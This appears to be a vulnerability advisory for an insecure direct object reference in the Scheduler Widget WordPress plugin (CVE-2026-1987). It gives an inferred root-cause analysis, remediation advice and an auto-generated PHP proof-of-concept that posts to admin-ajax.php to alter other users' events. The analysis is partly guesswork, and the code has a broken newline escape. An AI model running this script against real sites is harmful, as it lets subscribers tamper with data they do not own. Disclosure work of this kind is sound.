Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1987: Scheduler Widget <= 0.1.6 – Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Event Modification (scheduler-widget)

CVE ID CVE-2026-1987
Plugin scheduler-widget
Severity Medium (CVSS 5.4)
CWE 639
Vulnerable Version 0.1.6
Patched Version —
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1987 (metadata-based):
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Scheduler Widget WordPress plugin version 0.1.6 and earlier. The flaw resides in the `scheduler_widget_ajax_save_event()` AJAX handler, which lacks proper authorization and ownership verification. Attackers with authenticated Subscriber-level access can modify arbitrary scheduler events by manipulating the `id` parameter.

Atomic Edge research identifies the root cause as CWE-639, Authorization Bypass Through User-Controlled Key. The vulnerability description confirms the `scheduler_widget_ajax_save_event()` function does not validate if the requesting user owns the event ID they supply. This is inferred to be a missing capability check (like `current_user_can()`) and missing ownership verification (like comparing the event’s author ID to the current user ID). The plugin likely uses the `id` parameter directly in an update operation without these checks.

Exploitation requires an authenticated WordPress user account with at least Subscriber privileges. Attackers send a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the action parameter set to `scheduler_widget_ajax_save_event`. The payload includes the target event’s numeric ID in the `id` parameter, along with other event data fields (like `title`, `description`, `date`) that the attacker wishes to modify. Knowledge of the target event ID is required, which could be obtained through enumeration or other information disclosure.

Remediation requires implementing proper authorization checks before processing the update request. The fix should verify the user has appropriate capabilities (likely `edit_posts` or a custom capability) to modify events. Additionally, the function must confirm the user owns the event by checking the event’s stored author ID matches the current user’s ID, unless the user has administrative privileges. Nonce verification should also be added to prevent CSRF attacks, though its absence is not the primary vulnerability.

The impact is unauthorized modification of scheduler events. Attackers can alter event titles, descriptions, dates, or other stored data. This constitutes integrity loss (I:L in CVSS) and a limited availability impact (A:L) if critical events are deleted or made inaccessible. The vulnerability does not enable privilege escalation directly, but could facilitate social engineering or workflow disruption if the scheduler displays manipulated information.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1987 - Scheduler Widget <= 0.1.6 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Event Modification
<?php
/*
Assumptions:
1. The AJAX action hook is 'scheduler_widget_ajax_save_event' (derived from function name in description).
2. The vulnerable parameter is 'id' (explicitly mentioned).
3. Other event fields like 'title' and 'date' can be modified (inferred from event modification context).
4. The endpoint is the standard WordPress admin-ajax.php.
5. A valid WordPress authentication cookie is required.
*/

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$cookie = 'wordpress_logged_in_abc=...'; // Replace with valid session cookie
$event_id = 123; // Target event ID to modify

$post_data = [
    'action' => 'scheduler_widget_ajax_save_event',
    'id' => $event_id,
    'title' => 'Modified by Attacker',
    'date' => '2025-12-31',
    // Add other event fields as needed based on plugin functionality
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookie,
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful response may contain JSON with a success message.
?>

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